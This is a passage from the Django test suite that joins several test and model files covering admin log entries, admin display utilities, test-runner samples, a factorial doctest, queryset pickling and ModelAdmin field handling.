            created=datetime(2008, 3, 18, 11, 54),
        )
        content_type_pk = ContentType.objects.get_for_model(Article).pk
        LogEntry.objects.log_action(
            self.user.pk, content_type_pk, self.a1.pk, repr(self.a1), CHANGE,
            change_message='Changed something'
        )
        self.client.force_login(self.user)

    def test_logentry_save(self):
        """
        LogEntry.action_time is a timestamp of the date when the entry was
        created. It shouldn't be updated on a subsequent save().
        """
        logentry = LogEntry.objects.get(content_type__model__iexact="article")
        action_time = logentry.action_time
        logentry.save()
        self.assertEqual(logentry.action_time, action_time)

    def test_logentry_change_message(self):
        """
        LogEntry.change_message is stored as a dumped JSON structure to be able
        to get the message dynamically translated at display time.
        """
        post_data = {
            'site': self.site.pk, 'title': 'Changed', 'hist': 'Some content',
            'created_0': '2008-03-18', 'created_1': '11:54',
        }
        change_url = reverse('admin:admin_utils_article_change', args=[quote(self.a1.pk)])
        response = self.client.post(change_url, post_data)
        self.assertRedirects(response, reverse('admin:admin_utils_article_changelist'))
        logentry = LogEntry.objects.filter(content_type__model__iexact='article').latest('id')
        self.assertEqual(logentry.get_change_message(), 'Changed title and hist.')
        with translation.override('fr'):
            self.assertEqual(logentry.get_change_message(), 'Title et hist modifié(s).')

        add_url = reverse('admin:admin_utils_article_add')
        post_data['title'] = 'New'
        response = self.client.post(add_url, post_data)
        self.assertRedirects(response, reverse('admin:admin_utils_article_changelist'))
        logentry = LogEntry.objects.filter(content_type__model__iexact='article').latest('id')
        self.assertEqual(logentry.get_change_message(), 'Added.')
        with translation.override('fr'):
            self.assertEqual(logentry.get_change_message(), 'Ajout.')

    def test_logentry_change_message_formsets(self):
        """
        All messages for changed formsets are logged in a change message.
        """
        a2 = Article.objects.create(
            site=self.site,
            title="Title second article",
            created=datetime(2012, 3, 18, 11, 54),
        )
        post_data = {
            'domain': 'example.com',  # domain changed
            'admin_articles-TOTAL_FORMS': '5',
            'admin_articles-INITIAL_FORMS': '2',
            'admin_articles-MIN_NUM_FORMS': '0',
            'admin_articles-MAX_NUM_FORMS': '1000',
            # Changed title for 1st article
            'admin_articles-0-id': str(self.a1.pk),
            'admin_articles-0-site': str(self.site.pk),
            'admin_articles-0-title': 'Changed Title',
            # Second article is deleted
            'admin_articles-1-id': str(a2.pk),
            'admin_articles-1-site': str(self.site.pk),
            'admin_articles-1-title': 'Title second article',
            'admin_articles-1-DELETE': 'on',
            # A new article is added
            'admin_articles-2-site': str(self.site.pk),
            'admin_articles-2-title': 'Added article',
        }
        change_url = reverse('admin:admin_utils_site_change', args=[quote(self.site.pk)])
        response = self.client.post(change_url, post_data)
        self.assertRedirects(response, reverse('admin:admin_utils_site_changelist'))
        self.assertQuerysetEqual(Article.objects.filter(pk=a2.pk), [])
        logentry = LogEntry.objects.filter(content_type__model__iexact='site').latest('action_time')
        self.assertEqual(
            json.loads(logentry.change_message),
            [
                {"changed": {"fields": ["domain"]}},
                {"added": {"object": "Article object", "name": "article"}},
                {"changed": {"fields": ["title"], "object": "Article object", "name": "article"}},
                {"deleted": {"object": "Article object", "name": "article"}},
            ]
        )
        self.assertEqual(
            logentry.get_change_message(),
            'Changed domain. Added article "Article object". '
            'Changed title for article "Article object". Deleted article "Article object".'
        )

        with translation.override('fr'):
            self.assertEqual(
                logentry.get_change_message(),
                "Domain modifié(s). Article « Article object » ajouté. "
                "Title modifié(s) pour l'objet article « Article object ». Article « Article object » supprimé."
            )

    def test_logentry_get_edited_object(self):
        """
        LogEntry.get_edited_object() returns the edited object of a LogEntry
        object.
        """
        logentry = LogEntry.objects.get(content_type__model__iexact="article")
        edited_obj = logentry.get_edited_object()
        self.assertEqual(logentry.object_id, str(edited_obj.pk))

    def test_logentry_get_admin_url(self):
        """
        LogEntry.get_admin_url returns a URL to edit the entry's object or
        None for non-existent (possibly deleted) models.
        """
        logentry = LogEntry.objects.get(content_type__model__iexact='article')
        expected_url = reverse('admin:admin_utils_article_change', args=(quote(self.a1.pk),))
        self.assertEqual(logentry.get_admin_url(), expected_url)
        self.assertIn('article/%d/change/' % self.a1.pk, logentry.get_admin_url())

        logentry.content_type.model = "non-existent"
        self.assertIsNone(logentry.get_admin_url())

    def test_logentry_unicode(self):
        log_entry = LogEntry()

        log_entry.action_flag = ADDITION
        self.assertTrue(six.text_type(log_entry).startswith('Added '))

        log_entry.action_flag = CHANGE
        self.assertTrue(six.text_type(log_entry).startswith('Changed '))

        log_entry.action_flag = DELETION
        self.assertTrue(six.text_type(log_entry).startswith('Deleted '))

        # Make sure custom action_flags works
        log_entry.action_flag = 4
        self.assertEqual(six.text_type(log_entry), 'LogEntry Object')

    def test_recentactions_without_content_type(self):
        """
        If a LogEntry is missing content_type it will not display it in span
        tag under the hyperlink.
        """
        response = self.client.get(reverse('admin:index'))
        link = reverse('admin:admin_utils_article_change', args=(quote(self.a1.pk),))
        should_contain = """<a href="%s">%s</a>""" % (escape(link), escape(repr(self.a1)))
        self.assertContains(response, should_contain)
        should_contain = "Article"
        self.assertContains(response, should_contain)
        logentry = LogEntry.objects.get(content_type__model__iexact='article')
        # If the log entry doesn't have a content type it should still be
        # possible to view the Recent Actions part (#10275).
        logentry.content_type = None
        logentry.save()

        counted_presence_before = response.content.count(force_bytes(should_contain))
        response = self.client.get(reverse('admin:index'))
        counted_presence_after = response.content.count(force_bytes(should_contain))
        self.assertEqual(counted_presence_before - 1, counted_presence_after)

    def test_proxy_model_content_type_is_used_for_log_entries(self):
        """
        Log entries for proxy models should have the proxy model's contenttype
        (#21084).
        """
        proxy_content_type = ContentType.objects.get_for_model(ArticleProxy, for_concrete_model=False)
        post_data = {
            'site': self.site.pk, 'title': "Foo", 'hist': "Bar",
            'created_0': '2015-12-25', 'created_1': '00:00',
        }
        changelist_url = reverse('admin:admin_utils_articleproxy_changelist')

        # add
        proxy_add_url = reverse('admin:admin_utils_articleproxy_add')
        response = self.client.post(proxy_add_url, post_data)
        self.assertRedirects(response, changelist_url)
        proxy_addition_log = LogEntry.objects.latest('id')
        self.assertEqual(proxy_addition_log.action_flag, ADDITION)
        self.assertEqual(proxy_addition_log.content_type, proxy_content_type)

        # change
        article_id = proxy_addition_log.object_id
        proxy_change_url = reverse('admin:admin_utils_articleproxy_change', args=(article_id,))
        post_data['title'] = 'New'
        response = self.client.post(proxy_change_url, post_data)
        self.assertRedirects(response, changelist_url)
        proxy_change_log = LogEntry.objects.latest('id')
        self.assertEqual(proxy_change_log.action_flag, CHANGE)
        self.assertEqual(proxy_change_log.content_type, proxy_content_type)

        # delete
        proxy_delete_url = reverse('admin:admin_utils_articleproxy_delete', args=(article_id,))
        response = self.client.post(proxy_delete_url, {'post': 'yes'})
        self.assertRedirects(response, changelist_url)
        proxy_delete_log = LogEntry.objects.latest('id')
        self.assertEqual(proxy_delete_log.action_flag, DELETION)
        self.assertEqual(proxy_delete_log.content_type, proxy_content_type)






from django.conf.urls import url

from .admin import site

urlpatterns = [
    url(r'^test_admin/admin/', site.urls),
]












from __future__ import unicode_literals

from datetime import datetime
from decimal import Decimal

from django import forms
from django.conf import settings
from django.contrib.admin import helpers
from django.contrib.admin.utils import (
    NestedObjects, display_for_field, display_for_value, flatten,
    flatten_fieldsets, label_for_field, lookup_field, quote,
)
from django.db import DEFAULT_DB_ALIAS, models
from django.test import SimpleTestCase, TestCase, override_settings
from django.utils.formats import localize
from django.utils.safestring import mark_safe

from .models import (
    Article, Car, Count, Event, EventGuide, Location, Site, Vehicle,
)


class NestedObjectsTests(TestCase):
    """
    Tests for ``NestedObject`` utility collection.
    """
    def setUp(self):
        self.n = NestedObjects(using=DEFAULT_DB_ALIAS)
        self.objs = [Count.objects.create(num=i) for i in range(5)]

    def _check(self, target):
        self.assertEqual(self.n.nested(lambda obj: obj.num), target)

    def _connect(self, i, j):
        self.objs[i].parent = self.objs[j]
        self.objs[i].save()

    def _collect(self, *indices):
        self.n.collect([self.objs[i] for i in indices])

    def test_unrelated_roots(self):
        self._connect(2, 1)
        self._collect(0)
        self._collect(1)
        self._check([0, 1, [2]])

    def test_siblings(self):
        self._connect(1, 0)
        self._connect(2, 0)
        self._collect(0)
        self._check([0, [1, 2]])

    def test_non_added_parent(self):
        self._connect(0, 1)
        self._collect(0)
        self._check([0])

    def test_cyclic(self):
        self._connect(0, 2)
        self._connect(1, 0)
        self._connect(2, 1)
        self._collect(0)
        self._check([0, [1, [2]]])

    def test_queries(self):
        self._connect(1, 0)
        self._connect(2, 0)
        # 1 query to fetch all children of 0 (1 and 2)
        # 1 query to fetch all children of 1 and 2 (none)
        # Should not require additional queries to populate the nested graph.
        self.assertNumQueries(2, self._collect, 0)

    def test_on_delete_do_nothing(self):
        """
        Check that the nested collector doesn't query for DO_NOTHING objects.
        """
        n = NestedObjects(using=DEFAULT_DB_ALIAS)
        objs = [Event.objects.create()]
        EventGuide.objects.create(event=objs[0])
        with self.assertNumQueries(2):
            # One for Location, one for Guest, and no query for EventGuide
            n.collect(objs)

    def test_relation_on_abstract(self):
        """
        #21846 -- Check that `NestedObjects.collect()` doesn't trip
        (AttributeError) on the special notation for relations on abstract
        models (related_name that contains %(app_label)s and/or %(class)s).
        """
        n = NestedObjects(using=DEFAULT_DB_ALIAS)
        Car.objects.create()
        n.collect([Vehicle.objects.first()])


class UtilsTests(SimpleTestCase):

    empty_value = '-empty-'

    def test_values_from_lookup_field(self):
        """
        Regression test for #12654: lookup_field
        """
        SITE_NAME = 'example.com'
        TITLE_TEXT = 'Some title'
        CREATED_DATE = datetime.min
        ADMIN_METHOD = 'admin method'
        SIMPLE_FUNCTION = 'function'
        INSTANCE_ATTRIBUTE = 'attr'

        class MockModelAdmin(object):
            def get_admin_value(self, obj):
                return ADMIN_METHOD

        def simple_function(obj):
            return SIMPLE_FUNCTION

        site_obj = Site(domain=SITE_NAME)
        article = Article(
            site=site_obj,
            title=TITLE_TEXT,
            created=CREATED_DATE,
        )
        article.non_field = INSTANCE_ATTRIBUTE

        verifications = (
            ('site', SITE_NAME),
            ('created', localize(CREATED_DATE)),
            ('title', TITLE_TEXT),
            ('get_admin_value', ADMIN_METHOD),
            (simple_function, SIMPLE_FUNCTION),
            ('test_from_model', article.test_from_model()),
            ('non_field', INSTANCE_ATTRIBUTE)
        )

        mock_admin = MockModelAdmin()
        for name, value in verifications:
            field, attr, resolved_value = lookup_field(name, article, mock_admin)

            if field is not None:
                resolved_value = display_for_field(resolved_value, field, self.empty_value)

            self.assertEqual(value, resolved_value)

    def test_null_display_for_field(self):
        """
        Regression test for #12550: display_for_field should handle None
        value.
        """
        display_value = display_for_field(None, models.CharField(), self.empty_value)
        self.assertEqual(display_value, self.empty_value)

        display_value = display_for_field(None, models.CharField(
            choices=(
                (None, "test_none"),
            )
        ), self.empty_value)
        self.assertEqual(display_value, "test_none")

        display_value = display_for_field(None, models.DateField(), self.empty_value)
        self.assertEqual(display_value, self.empty_value)

        display_value = display_for_field(None, models.TimeField(), self.empty_value)
        self.assertEqual(display_value, self.empty_value)

        # Regression test for #13071: NullBooleanField has special
        # handling.
        display_value = display_for_field(None, models.NullBooleanField(), self.empty_value)
        expected = '<img src="%sadmin/img/icon-unknown.svg" alt="None" />' % settings.STATIC_URL
        self.assertHTMLEqual(display_value, expected)

        display_value = display_for_field(None, models.DecimalField(), self.empty_value)
        self.assertEqual(display_value, self.empty_value)

        display_value = display_for_field(None, models.FloatField(), self.empty_value)
        self.assertEqual(display_value, self.empty_value)

    def test_number_formats_display_for_field(self):
        display_value = display_for_field(12345.6789, models.FloatField(), self.empty_value)
        self.assertEqual(display_value, '12345.6789')

        display_value = display_for_field(Decimal('12345.6789'), models.DecimalField(), self.empty_value)
        self.assertEqual(display_value, '12345.6789')

        display_value = display_for_field(12345, models.IntegerField(), self.empty_value)
        self.assertEqual(display_value, '12345')

    @override_settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=True)
    def test_number_formats_with_thousand_separator_display_for_field(self):
        display_value = display_for_field(12345.6789, models.FloatField(), self.empty_value)
        self.assertEqual(display_value, '12,345.6789')

        display_value = display_for_field(Decimal('12345.6789'), models.DecimalField(), self.empty_value)
        self.assertEqual(display_value, '12,345.6789')

        display_value = display_for_field(12345, models.IntegerField(), self.empty_value)
        self.assertEqual(display_value, '12,345')

    def test_list_display_for_value(self):
        display_value = display_for_value([1, 2, 3], self.empty_value)
        self.assertEqual(display_value, '1, 2, 3')

        display_value = display_for_value([1, 2, 'buckle', 'my', 'shoe'], self.empty_value)
        self.assertEqual(display_value, '1, 2, buckle, my, shoe')

    def test_label_for_field(self):
        """
        Tests for label_for_field
        """
        self.assertEqual(
            label_for_field("title", Article),
            "title"
        )
        self.assertEqual(
            label_for_field("hist", Article),
            "History"
        )
        self.assertEqual(
            label_for_field("hist", Article, return_attr=True),
            ("History", None)
        )

        self.assertEqual(
            label_for_field("__unicode__", Article),
            "article"
        )
        self.assertEqual(
            label_for_field("__str__", Article),
            str("article")
        )

        with self.assertRaises(AttributeError):
            label_for_field("unknown", Article)

        def test_callable(obj):
            return "nothing"
        self.assertEqual(
            label_for_field(test_callable, Article),
            "Test callable"
        )
        self.assertEqual(
            label_for_field(test_callable, Article, return_attr=True),
            ("Test callable", test_callable)
        )

        self.assertEqual(
            label_for_field("test_from_model", Article),
            "Test from model"
        )
        self.assertEqual(
            label_for_field("test_from_model", Article, return_attr=True),
            ("Test from model", Article.test_from_model)
        )
        self.assertEqual(
            label_for_field("test_from_model_with_override", Article),
            "not What you Expect"
        )

        self.assertEqual(
            label_for_field(lambda x: "nothing", Article),
            "--"
        )
        self.assertEqual(label_for_field('site_id', Article), 'Site id')

        class MockModelAdmin(object):
            def test_from_model(self, obj):
                return "nothing"
            test_from_model.short_description = "not Really the Model"

        self.assertEqual(
            label_for_field("test_from_model", Article, model_admin=MockModelAdmin),
            "not Really the Model"
        )
        self.assertEqual(
            label_for_field("test_from_model", Article, model_admin=MockModelAdmin, return_attr=True),
            ("not Really the Model", MockModelAdmin.test_from_model)
        )

    def test_label_for_property(self):
        # NOTE: cannot use @property decorator, because of
        # AttributeError: 'property' object has no attribute 'short_description'
        class MockModelAdmin(object):
            def my_property(self):
                return "this if from property"
            my_property.short_description = 'property short description'
            test_from_property = property(my_property)

        self.assertEqual(
            label_for_field("test_from_property", Article, model_admin=MockModelAdmin),
            'property short description'
        )

    def test_related_name(self):
        """
        Regression test for #13963
        """
        self.assertEqual(
            label_for_field('location', Event, return_attr=True),
            ('location', None),
        )
        self.assertEqual(
            label_for_field('event', Location, return_attr=True),
            ('awesome event', None),
        )
        self.assertEqual(
            label_for_field('guest', Event, return_attr=True),
            ('awesome guest', None),
        )

    def test_safestring_in_field_label(self):
        # safestring should not be escaped
        class MyForm(forms.Form):
            text = forms.CharField(label=mark_safe('<i>text</i>'))
            cb = forms.BooleanField(label=mark_safe('<i>cb</i>'))

        form = MyForm()
        self.assertHTMLEqual(helpers.AdminField(form, 'text', is_first=False).label_tag(),
                             '<label for="id_text" class="required inline"><i>text</i>:</label>')
        self.assertHTMLEqual(helpers.AdminField(form, 'cb', is_first=False).label_tag(),
                             '<label for="id_cb" class="vCheckboxLabel required inline"><i>cb</i></label>')

        # normal strings needs to be escaped
        class MyForm(forms.Form):
            text = forms.CharField(label='&text')
            cb = forms.BooleanField(label='&cb')

        form = MyForm()
        self.assertHTMLEqual(helpers.AdminField(form, 'text', is_first=False).label_tag(),
                             '<label for="id_text" class="required inline">&amp;text:</label>')
        self.assertHTMLEqual(helpers.AdminField(form, 'cb', is_first=False).label_tag(),
                             '<label for="id_cb" class="vCheckboxLabel required inline">&amp;cb</label>')

    def test_flatten(self):
        flat_all = ['url', 'title', 'content', 'sites']
        inputs = (
            ((), []),
            (('url', 'title', ('content', 'sites')), flat_all),
            (('url', 'title', 'content', 'sites'), flat_all),
            ((('url', 'title'), ('content', 'sites')), flat_all)
        )
        for orig, expected in inputs:
            self.assertEqual(flatten(orig), expected)

    def test_flatten_fieldsets(self):
        """
        Regression test for #18051
        """
        fieldsets = (
            (None, {
                'fields': ('url', 'title', ('content', 'sites'))
            }),
        )
        self.assertEqual(flatten_fieldsets(fieldsets), ['url', 'title', 'content', 'sites'])

        fieldsets = (
            (None, {
                'fields': ('url', 'title', ['content', 'sites'])
            }),
        )
        self.assertEqual(flatten_fieldsets(fieldsets), ['url', 'title', 'content', 'sites'])

    def test_quote(self):
        self.assertEqual(quote('something\nor\nother'), 'something_0Aor_0Aother')






from unittest import TestCase


class Test(TestCase):

    def test_sample(self):
        self.assertEqual(1, 1)






import doctest
from unittest import TestCase

from django.test import SimpleTestCase, TestCase as DjangoTestCase, tag

from . import doctests


class TestVanillaUnittest(TestCase):

    def test_sample(self):
        self.assertEqual(1, 1)


class TestDjangoTestCase(DjangoTestCase):

    def test_sample(self):
        self.assertEqual(1, 1)


class TestZimpleTestCase(SimpleTestCase):
    # Z is used to trick this test case to appear after Vanilla in default suite

    def test_sample(self):
        self.assertEqual(1, 1)


class EmptyTestCase(TestCase):
    pass


@tag('slow')
class TaggedTestCase(TestCase):

    @tag('fast')
    def test_single_tag(self):
        self.assertEqual(1, 1)

    @tag('fast', 'core')
    def test_multiple_tags(self):
        self.assertEqual(1, 1)


def load_tests(loader, tests, ignore):
    tests.addTests(doctest.DocTestSuite(doctests))
    return tests


















"""
Doctest example from the official Python documentation.
https://docs.python.org/3/library/doctest.html
"""


def factorial(n):
    """Return the factorial of n, an exact integer >= 0.

    >>> [factorial(n) for n in range(6)]
    [1, 1, 2, 6, 24, 120]
    >>> factorial(30)  # doctest: +ELLIPSIS
    265252859812191058636308480000000...
    >>> factorial(-1)
    Traceback (most recent call last):
        ...
    ValueError: n must be >= 0

    Factorials of floats are OK, but the float must be an exact integer:
    >>> factorial(30.1)
    Traceback (most recent call last):
        ...
    ValueError: n must be exact integer
    >>> factorial(30.0)  # doctest: +ELLIPSIS
    265252859812191058636308480000000...

    It must also not be ridiculously large:
    >>> factorial(1e100)
    Traceback (most recent call last):
        ...
    OverflowError: n too large
    """

    import math
    if not n >= 0:
        raise ValueError("n must be >= 0")
    if math.floor(n) != n:
        raise ValueError("n must be exact integer")
    if n + 1 == n:  # catch a value like 1e300
        raise OverflowError("n too large")
    result = 1
    factor = 2
    while factor <= n:
        result *= factor
        factor += 1
    return result












from unittest import TestCase


class Test(TestCase):

    def test_sample(self):
        pass






import datetime

from django.db import DJANGO_VERSION_PICKLE_KEY, models
from django.utils import six
from django.utils.translation import ugettext_lazy as _


def standalone_number():
    return 1


class Numbers(object):
    @staticmethod
    def get_static_number():
        return 2


class PreviousDjangoVersionQuerySet(models.QuerySet):
    def __getstate__(self):
        state = super(PreviousDjangoVersionQuerySet, self).__getstate__()
        state[DJANGO_VERSION_PICKLE_KEY] = '1.0'
        return state


class MissingDjangoVersionQuerySet(models.QuerySet):
    def __getstate__(self):
        state = super(MissingDjangoVersionQuerySet, self).__getstate__()
        del state[DJANGO_VERSION_PICKLE_KEY]
        return state


class Group(models.Model):
    name = models.CharField(_('name'), max_length=100)
    objects = models.Manager()
    previous_django_version_objects = PreviousDjangoVersionQuerySet.as_manager()
    missing_django_version_objects = MissingDjangoVersionQuerySet.as_manager()


class Event(models.Model):
    title = models.CharField(max_length=100)
    group = models.ForeignKey(Group, models.CASCADE)


class Happening(models.Model):
    when = models.DateTimeField(blank=True, default=datetime.datetime.now)
    name = models.CharField(blank=True, max_length=100, default="test")
    number1 = models.IntegerField(blank=True, default=standalone_number)
    if six.PY3:
        # default serializable on Python 3 only
        number2 = models.IntegerField(blank=True, default=Numbers.get_static_number)


class Container(object):
    # To test pickling we need a class that isn't defined on module, but
    # is still available from app-cache. So, the Container class moves
    # SomeModel outside of module level
    class SomeModel(models.Model):
        somefield = models.IntegerField()


class M2MModel(models.Model):
    groups = models.ManyToManyField(Group)












from __future__ import unicode_literals

import datetime
import pickle
import unittest

from django.db import models
from django.test import TestCase
from django.utils import six
from django.utils.version import get_version

from .models import Container, Event, Group, Happening, M2MModel


class PickleabilityTestCase(TestCase):
    def setUp(self):
        Happening.objects.create()  # make sure the defaults are working (#20158)

    def assert_pickles(self, qs):
        self.assertEqual(list(pickle.loads(pickle.dumps(qs))), list(qs))

    def test_related_field(self):
        g = Group.objects.create(name="Ponies Who Own Maybachs")
        self.assert_pickles(Event.objects.filter(group=g.id))

    def test_datetime_callable_default_all(self):
        self.assert_pickles(Happening.objects.all())

    def test_datetime_callable_default_filter(self):
        self.assert_pickles(Happening.objects.filter(when=datetime.datetime.now()))

    def test_string_as_default(self):
        self.assert_pickles(Happening.objects.filter(name="test"))

    def test_standalone_method_as_default(self):
        self.assert_pickles(Happening.objects.filter(number1=1))

    @unittest.skipIf(six.PY2, "Field doesn't exist on Python 2.")
    def test_staticmethod_as_default(self):
        self.assert_pickles(Happening.objects.filter(number2=1))

    def test_filter_reverse_fk(self):
        self.assert_pickles(Group.objects.filter(event=1))

    def test_doesnotexist_exception(self):
        # Ticket #17776
        original = Event.DoesNotExist("Doesn't exist")
        unpickled = pickle.loads(pickle.dumps(original))

        # Exceptions are not equal to equivalent instances of themselves, so
        # can't just use assertEqual(original, unpickled)
        self.assertEqual(original.__class__, unpickled.__class__)
        self.assertEqual(original.args, unpickled.args)

    def test_manager_pickle(self):
        pickle.loads(pickle.dumps(Happening.objects))

    def test_model_pickle(self):
        """
        Test that a model not defined on module level is picklable.
        """
        original = Container.SomeModel(pk=1)
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)
        # Also, deferred dynamic model works
        Container.SomeModel.objects.create(somefield=1)
        original = Container.SomeModel.objects.defer('somefield')[0]
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)
        self.assertEqual(original.somefield, reloaded.somefield)

    def test_model_pickle_m2m(self):
        """
        Test intentionally the automatically created through model.
        """
        m1 = M2MModel.objects.create()
        g1 = Group.objects.create(name='foof')
        m1.groups.add(g1)
        m2m_through = M2MModel._meta.get_field('groups').remote_field.through
        original = m2m_through.objects.get()
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)

    def test_model_pickle_dynamic(self):
        class Meta:
            proxy = True
        dynclass = type(str("DynamicEventSubclass"), (Event, ),
                        {'Meta': Meta, '__module__': Event.__module__})
        original = dynclass(pk=1)
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)
        self.assertIs(reloaded.__class__, dynclass)

    def test_specialized_queryset(self):
        self.assert_pickles(Happening.objects.values('name'))
        self.assert_pickles(Happening.objects.values('name').dates('when', 'year'))
        # With related field (#14515)
        self.assert_pickles(
            Event.objects.select_related('group').order_by('title').values_list('title', 'group__name')
        )

    def test_pickle_prefetch_related_idempotence(self):
        g = Group.objects.create(name='foo')
        groups = Group.objects.prefetch_related('event_set')

        # First pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertQuerysetEqual(groups, [g], lambda x: x)

        # Second pickling
        groups = pickle.loads(pickle.dumps(groups))
        self.assertQuerysetEqual(groups, [g], lambda x: x)

    def test_pickle_prefetch_related_with_m2m_and_objects_deletion(self):
        """
        #24831 -- Cached properties on ManyToOneRel created in QuerySet.delete()
        caused subsequent QuerySet pickling to fail.
        """
        g = Group.objects.create(name='foo')
        m2m = M2MModel.objects.create()
        m2m.groups.add(g)
        Group.objects.all().delete()

        m2ms = M2MModel.objects.prefetch_related('groups')
        m2ms = pickle.loads(pickle.dumps(m2ms))
        self.assertQuerysetEqual(m2ms, [m2m], lambda x: x)

    def test_annotation_with_callable_default(self):
        # Happening.when has a callable default of datetime.datetime.now.
        qs = Happening.objects.annotate(latest_time=models.Max('when'))
        self.assert_pickles(qs)

    def test_missing_django_version_unpickling(self):
        """
        #21430 -- Verifies a warning is raised for querysets that are
        unpickled without a Django version
        """
        qs = Group.missing_django_version_objects.all()
        msg = "Pickled queryset instance's Django version is not specified."
        with self.assertRaisesMessage(RuntimeWarning, msg):
            pickle.loads(pickle.dumps(qs))

    def test_unsupported_unpickle(self):
        """
        #21430 -- Verifies a warning is raised for querysets that are
        unpickled with a different Django version than the current
        """
        qs = Group.previous_django_version_objects.all()
        msg = "Pickled queryset instance's Django version 1.0 does not match the current version %s." % get_version()
        with self.assertRaisesMessage(RuntimeWarning, msg):
            pickle.loads(pickle.dumps(qs))






# -*- coding: utf-8 -*-
from django.contrib.auth.models import User
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Band(models.Model):
    name = models.CharField(max_length=100)
    bio = models.TextField()
    sign_date = models.DateField()

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


class Concert(models.Model):
    main_band = models.ForeignKey(Band, models.CASCADE, related_name='main_concerts')
    opening_band = models.ForeignKey(Band, models.CASCADE, related_name='opening_concerts', blank=True)
    day = models.CharField(max_length=3, choices=((1, 'Fri'), (2, 'Sat')))
    transport = models.CharField(max_length=100, choices=(
        (1, 'Plane'),
        (2, 'Train'),
        (3, 'Bus')
    ), blank=True)


class ValidationTestModel(models.Model):
    name = models.CharField(max_length=100)
    slug = models.SlugField()
    users = models.ManyToManyField(User)
    state = models.CharField(max_length=2, choices=(("CO", "Colorado"), ("WA", "Washington")))
    is_active = models.BooleanField(default=False)
    pub_date = models.DateTimeField()
    band = models.ForeignKey(Band, models.CASCADE)
    # This field is intentionally 2 characters long (#16080).
    no = models.IntegerField(verbose_name="Number", blank=True, null=True)

    def decade_published_in(self):
        return self.pub_date.strftime('%Y')[:3] + "0's"


class ValidationTestInlineModel(models.Model):
    parent = models.ForeignKey(ValidationTestModel, models.CASCADE)












from __future__ import unicode_literals

from datetime import date

from django import forms
from django.contrib.admin import BooleanFieldListFilter, SimpleListFilter
from django.contrib.admin.options import (
    HORIZONTAL, VERTICAL, ModelAdmin, TabularInline,
)
from django.contrib.admin.sites import AdminSite
from django.contrib.admin.widgets import AdminDateWidget, AdminRadioSelect
from django.core.checks import Error
from django.forms.models import BaseModelFormSet
from django.forms.widgets import Select
from django.test import SimpleTestCase, TestCase
from django.utils import six

from .models import (
    Band, Concert, ValidationTestInlineModel, ValidationTestModel,
)


class MockRequest(object):
    pass


class MockSuperUser(object):
    def has_perm(self, perm):
        return True

request = MockRequest()
request.user = MockSuperUser()


class ModelAdminTests(TestCase):

    def setUp(self):
        self.band = Band.objects.create(
            name='The Doors',
            bio='',
            sign_date=date(1965, 1, 1),
        )
        self.site = AdminSite()

    # form/fields/fieldsets interaction ##############################

    def test_default_fields(self):
        ma = ModelAdmin(Band, self.site)

        self.assertEqual(list(ma.get_form(request).base_fields), ['name', 'bio', 'sign_date'])
        self.assertEqual(list(ma.get_fields(request)), ['name', 'bio', 'sign_date'])
        self.assertEqual(list(ma.get_fields(request, self.band)), ['name', 'bio', 'sign_date'])

    def test_default_fieldsets(self):
        # fieldsets_add and fieldsets_change should return a special data structure that
        # is used in the templates. They should generate the "right thing" whether we
        # have specified a custom form, the fields argument, or nothing at all.
        #
        # Here's the default case. There are no custom form_add/form_change methods,
        # no fields argument, and no fieldsets argument.
        ma = ModelAdmin(Band, self.site)
        self.assertEqual(ma.get_fieldsets(request), [(None, {'fields': ['name', 'bio', 'sign_date']})])

        self.assertEqual(ma.get_fieldsets(request, self.band), [(None, {'fields': ['name', 'bio', 'sign_date']})])

    def test_get_fieldsets(self):
        # Test that get_fieldsets is called when figuring out form fields.
        # Refs #18681.

        class BandAdmin(ModelAdmin):
            def get_fieldsets(self, request, obj=None):
                return [(None, {'fields': ['name', 'bio']})]

        ma = BandAdmin(Band, self.site)
        form = ma.get_form(None)
        self.assertEqual(form._meta.fields, ['name', 'bio'])

        class InlineBandAdmin(TabularInline):
            model = Concert
            fk_name = 'main_band'
            can_delete = False

            def get_fieldsets(self, request, obj=None):
                return [(None, {'fields': ['day', 'transport']})]

        ma = InlineBandAdmin(Band, self.site)
        form = ma.get_formset(None).form
        self.assertEqual(form._meta.fields, ['day', 'transport'])

    def test_lookup_allowed_allows_nonexistent_lookup(self):
        """
        Ensure that a lookup_allowed allows a parameter
        whose field lookup doesn't exist.
        Refs #21129.
        """
        class BandAdmin(ModelAdmin):
            fields = ['name']

        ma = BandAdmin(Band, self.site)
        self.assertTrue(ma.lookup_allowed('name__nonexistent', 'test_value'))

    def test_field_arguments(self):
        # If we specify the fields argument, fieldsets_add and fieldsets_change should
        # just stick the fields into a formsets structure and return it.
        class BandAdmin(ModelAdmin):
            fields = ['name']

        ma = BandAdmin(Band, self.site)

        self.assertEqual(list(ma.get_fields(request)), ['name'])
        self.assertEqual(list(ma.get_fields(request, self.band)), ['name'])
        self.assertEqual(ma.get_fieldsets(request), [(None, {'fields': ['name']})])
        self.assertEqual(ma.get_fieldsets(request, self.band), [(None, {'fields': ['name']})])

    def test_field_arguments_restricted_on_form(self):
        # If we specify fields or fieldsets, it should exclude fields on the Form class
        # to the fields specified. This may cause errors to be raised in the db layer if
        # required model fields aren't in fields/fieldsets, but that's preferable to
        # ghost errors where you have a field in your Form class that isn't being
        # displayed because you forgot to add it to fields/fieldsets

        # Using `fields`.
        class BandAdmin(ModelAdmin):
            fields = ['name']

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name'])
        self.assertEqual(list(ma.get_form(request, self.band).base_fields), ['name'])

        # Using `fieldsets`.
        class BandAdmin(ModelAdmin):
            fieldsets = [(None, {'fields': ['name']})]

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name'])
        self.assertEqual(list(ma.get_form(request, self.band).base_fields), ['name'])

        # Using `exclude`.
        class BandAdmin(ModelAdmin):
            exclude = ['bio']

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name', 'sign_date'])

